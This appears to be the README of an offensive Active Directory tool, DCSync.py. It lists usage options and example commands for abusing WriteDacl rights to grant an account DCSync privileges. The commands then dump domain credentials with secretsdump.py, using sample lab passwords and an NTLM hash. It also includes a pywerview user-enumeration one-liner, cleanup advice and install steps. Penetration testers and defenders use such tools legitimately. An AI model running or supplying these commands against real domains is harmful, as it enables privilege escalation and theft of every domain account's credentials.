Mostly copypasta from https://github.com/tothi/rbcd-attack
usage: DCSync.py [-h] -dc FQDN -t USERNAME [-hashes LMHASH:NTHASH] [-k] identity
WriteDacl Attack: To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges.
positional arguments:
identity domain\username:password, attacker account with write access to target computer properties (NetBIOS domain name must be used!)
options:
-h, --help show this help message and exit
-dc FQDN FQDN of the Domain Controller
-t USERNAME Target user to be escalated in format *Distinguished Names*
-hashes LMHASH:NTHASH
Hash for LDAP auth (instead of password)
-k If you want to use a Kerberos ticket
Examples:
DCSync.py -dc dc01.n00py.local -t 'CN=n00py,OU=Employees,DC=n00py,DC=local' n00py\Administrator:Password123
DCSync.py -dc dc01.n00py.local -t 'CN=n00py,OU=Employees,DC=n00py,DC=local' n00py\Administrator -k
DCSync.py -dc dc01.n00py.local -t 'CN=spoNge369,CN=Users,DC=n00py,DC=local' 'n00py.local\user_with_writeDACL:P@$$w0rd123'
DCSync.py -dc dc01.n00py.local -t 'CN=spoNge369,CN=Users,DC=n00py,DC=local' 'n00py.local\user_with_writeDACL' -hashes :32693b11e6aa90eb43d32c72a07ceea6
DCSync Attack:
secretsdump.py 'n00py.local/spoNge369:[email protected]'
Search Distinguished Names(DN) of spoNge369:
pywerview get-netuser -u'any_valid_user' -p'password321$' -t dc01.n00py.local | perl -wnlE'print if/distinguishedname.+spoNge369/'
To clean up after you are done, use ACLpwn https://github.com/fox-it/aclpwn.py. This tool is pretty old and not maintained, but you can get it to work. One thing you will need to do is replace “neo4j.v1” with just “neo4j” in database.py. To restore the ACLs to the original configuration, use the restore state file created by the DCSync tool.
Impacket
pip3 install pywerview
For kerberos:
apt install heimdal-dev -y
apt install libkrb5-dev -y
python3 -m pip install gssapi
